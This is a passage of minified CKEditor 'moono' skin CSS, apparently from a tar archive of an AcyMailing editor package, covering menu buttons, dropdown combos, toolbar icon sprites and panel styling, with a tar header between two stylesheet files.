.cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_button,.cke_rtl .cke_button *,.cke_rtl .cke_combo,.cke_rtl .cke_combo *,.cke_rtl .cke_path_item,.cke_rtl .cke_path_item *,.cke_rtl .cke_path_empty{float:none}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_combo_button,.cke_rtl .cke_combo_button *,.cke_rtl .cke_button,.cke_rtl .cke_button_icon{display:inline-block;vertical-align:top}.cke_toolbox{display:inline-block;padding-bottom:5px;height:100%}.cke_rtl .cke_toolbox{padding-bottom:0}.cke_toolbar{margin-bottom:5px}.cke_rtl .cke_toolbar{margin-bottom:0}.cke_toolgroup{height:26px}.cke_toolgroup,.cke_combo{position:relative}a.cke_button{float:none;vertical-align:top}.cke_toolbar_separator{display:inline-block;float:none;vertical-align:top;background-color:#c0c0c0}.cke_toolbox_collapser .cke_arrow{margin-top:0}.cke_toolbox_collapser .cke_arrow{border-width:4px}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{border-width:3px}.cke_rtl .cke_button_arrow{padding-top:8px;margin-right:2px}.cke_rtl .cke_combo_inlinelabel{display:table-cell;vertical-align:middle}.cke_menubutton{display:block;height:24px}.cke_menubutton_inner{display:block;position:relative}.cke_menubutton_icon{height:16px;width:16px}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:inline-block}.cke_menubutton_label{width:auto;vertical-align:top;line-height:24px;height:24px;margin:0 10px 0 0}.cke_menuarrow{width:5px;height:6px;padding:0;position:absolute;right:8px;top:10px;background-position:0 0}.cke_rtl .cke_menubutton_icon{position:absolute;right:0;top:0}.cke_rtl .cke_menubutton_label{float:right;clear:both;margin:0 24px 0 10px}.cke_hc .cke_rtl .cke_menubutton_label{margin-right:0}.cke_rtl .cke_menuarrow{left:8px;right:auto;background-position:0 -24px}.cke_hc .cke_menuarrow{top:5px;padding:0 5px}.cke_rtl input.cke_dialog_ui_input_text,.cke_rtl input.cke_dialog_ui_input_password{position:relative}.cke_wysiwyg_div{padding-top:0!important;padding-bottom:0!important}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                                                                                                                                                                                                                                  editors/acyeditor/acyeditor/ckeditor/skins/moono/editor_gecko.css                                   0000705                 00000107340 15242051521 0021415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 